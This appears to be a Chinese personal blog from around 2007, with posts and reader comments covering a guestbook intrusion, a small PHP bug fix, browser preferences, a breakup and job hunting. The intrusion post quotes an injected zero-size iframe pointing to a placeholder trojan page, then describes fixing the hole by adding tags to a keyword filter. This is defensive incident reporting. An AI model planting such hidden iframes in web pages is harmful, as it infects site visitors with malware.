Keep it simple, stupid

先戴个图给大家看看：

一看就知道是被别人测试iframe挂马了，看来留言簿的代码还是有问题，没有把该过滤的东西过滤掉。putty到DH主机上看看MYSQL数据库里面的东西：

最早有问题的留言是：

 <tr>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
    <th scope="col">&nbsp;</th>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
    <td>&nbsp;</td>
  </tr>

这个应该是测试是否可以提交HTML标签的。接下来的留言内容：

 <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>              

这段代码是被写入留言簿中的留言内容，产生一个高、宽为0的frame，经典的挂马行为。这个frame在opera下可以看到，很小的一块，但是IE里是看不到的，当然也只有IE才会中iframe的马。看看在Opera中的效果：

再看下面：

<iframe src=http://www.google.com width=100 height=100></iframe> 

产生一个高、宽为100的frame，里面是google主页。

 <iframe src=http://www.google.com ></iframe>   

最后一个，未指定高、宽由页面自动匹配。

知道问题的原因了，看了看留言簿的代码，在关键字过滤处没有<tr> <iframe>这两个标签，现在加上去就好了。然后在MYSQL中删除这几条垃圾留言。OK

这个年头自己弄个网站不知道一天有多少人在打你的主意，你要是有点流量的话更是会被别人定上的，网上混的话还是安全第一。

Comments

Amankwah: Opera好！这都发现了，不知道Firefox能看到不？

wind: 虾米叫挂马？

cocobear: TO:wind google 挂马 firefox不知道了，贴出来的图片没有边框，看不清楚，郁闷；

草儿: 汗…… 不知道GOOGLE有没有提示你“该网站含有恶意代码”，哈哈~

luguo: 很黄很暴力～～

cocobear: 没那么夸张，只是别人测试，你看那个地址也是不存在的 http://www.xxx.com/muma.html

cocobear: a b strong 等 :-)

cnenc: 以前就提示你,可惜你一直不当回事.

kongove: 能透露一下，还有那些关键标签没过滤呢？？

crazyfranc: 你可真细心啊。看来以后还是换OPERA好了。

到处都在下雪，下得好大。

缘起缘灭，难得放下。

Comments

wind: 回家就乖乖呆着，好好休息。

草儿: 你回家了？什么时候跑回来的，怎么了？

crazyfranc: 下学期有空我去新浪耍耍250

luguo: 怎么了？不是在实习么？

Amankwah: 呵呵，回家好好过年～

今天在看留言簿的留言中发现在站长回复这里的时间有点问题,看了看代码,原来是在admin.php中的time_diff这个变量被初始化为0了,本来应该使用的是全局变量$cfg[‘time_diff’]的。修改一下：

- $time_diff = 0;
+ $time_diff = $cfg['time_diff'];

BTW：刚才在http://bbs.bccn.net这里逛了一会儿，发现DZ的论坛现在越来越好了，对opera 支持的也很不错，真是爽啊！而且163的邮箱现在也支持opera，希望越来越多的网站支持opera！

Comments

wind: 小娃，是bbs.bc-cn.net吧？

crazyfranc: ms这段时间你消失了. 在新浪过的怎样?

Amankwah: hoho，两个小娃争执中……

cocobear: 小娃，你懒得都不看看我写的网址能打开不？

cnenc: 支持opera? 怎么不说是支持W3C呢?

Amankwah: hoho，DP归来～何时回家？

cocobear: 支持opera更现实一点，因为没有几个网站是完全符合W3C的。 不回了，16号的票去北京。

草儿: 163的信箱一直可以用opera打开啊，当然前提是使用“简约”风格。 PS：那个“极速”风格我没发现快到哪儿了，反而是慢了许多。

crazyfranc: opera很快吗?感觉firefox不好用!

该结束的都已经结束，该做的也都做了，今年会发生很大的改变，无论是生活还是思想，不管如何变化，不管是好是坏，我都会去接受的，慢慢得学会坚强，一个人去面对。

有些东西不值得就不再去勉强，不会再为她落泪；
女人是水，真得很易变；
我相信上面的话；

还有很多东西值得去追求的，fighting!

Comments

草儿: 男人说的都是谎话，女人说的都是反话。 同床尚且异梦，更何况异床！

crazyfranc: 有些事是追求不来的.

Amankwah: 兄弟，坚强的面对未来。没有女人，还有兄弟，哈哈

sk: 为什么男人都遇到这种问题 我也在迷茫中… 不过兴趣 爱好都是和朋友一起 所以大学有朋友 有兄弟就够了! 老大都是快毕业得人了 该放手了,男人 理想 事业 更重要的!!!

luguo: 天涯何处无芳草啊～～

想写点东西，但是把博客打开后，一直不知道该怎么写这个题目，突然想起来今天已经是2007年的最后一天了，所以就有了上面的标题。

86年出生的我现在周岁也有21了（离22也不远了），生活一直是平平淡淡的，上小学、初中、高中、大学，像每一个“幸运”（还是有很多人没有这样一帆风顺的经历；这应该称得上是幸运吧？）的人一样。眼下就要毕业了，各种各样的事接踵而来，工作、爱情、学业……

和她在一起两年多了，也随着2007年的结束而结束，谁对、谁错已经不重要了，我只能祝她过得幸福。既然她花了半年（甚至更长）的时间来做这个决定，我也只能接收眼前的事实。问了自己无数次“为什么”，仍然不明白。到底什么才重要呢？

似乎懂得了很多，却又似乎什么都不懂了。
不知道初恋的结束是一个开始还是结束。

2007年12月31日仍然爱着她！（这几个字明年的今天会变吗？）

找工作去了不少的公司，发现自己的两个问题：
其一：我自己对自己的定位还是不明确。倒底我合适什么样的工作呢？做游戏？做脚本？做应用软件、做服务器开发？这些职位我都去试过，感觉自己也是很迷茫啊。我心里倒是想做服务器的开发，不过似乎不够人家的要求。
其二：积累还是不够，离优秀的公司还是有不少的差距。这一点只能怪自己。
也许还会有其它的问题，暂时先不去考虑了，到时候再说，一个人一个命，也不能怪任何人。

同时也看清了中国这些企业的的面目，不说了，污染空间。

这一年成熟了许多，继续成熟吧，什么时候熟透了也就一个样了。

Comments

Amankwah: 嗯，昨天很流行总结过去，展望未来啊～

dream: 其实很佩服你的实力的，真的是了不起～ b

wind: 没这么巧吧 你刚写我就来看了？

cocobear: 晕，你也真是的，我还没写完，刚还改了改。

草儿: 今年的12月31日那几个字一定会变的。 新年新气象，结束也代表一个新的起点啊。 PS：感觉你比我好多了，我的观念都是非常悲观的，不过还好，至少我的生活态度还不算悲观。

cocobear: 变吧，都变吧。

wind: 所以我就继续过来踩咯

kongove: 今晚和明洁磊子聊了一晚上，总结了一下~~ 未来真的是充满希望的~~

cocobear: 年轻人有理想好啊，呵呵。 看来我确实老了。

luguo: 恩，新年快乐～！！！！ 在新的一年里继续奋斗啊～！

luguo: -_-b 无意中窥见几个被隐藏了的字。。。

cnenc: 你人未老,心先老了.

crazyfranc: 对于自己的定位是很多人一辈子都寻找的. 两个字:加油

cocobear: 今年的12月31那几个字一定会变？ 这么肯定吗？ PS：“感觉我比你好多了”，呵呵，这样就好，要的就是这个效果。

草儿: 晕~LS你这不是存心打击我嘛！ 另，我很肯定地说今年的12月31日那几个字会变。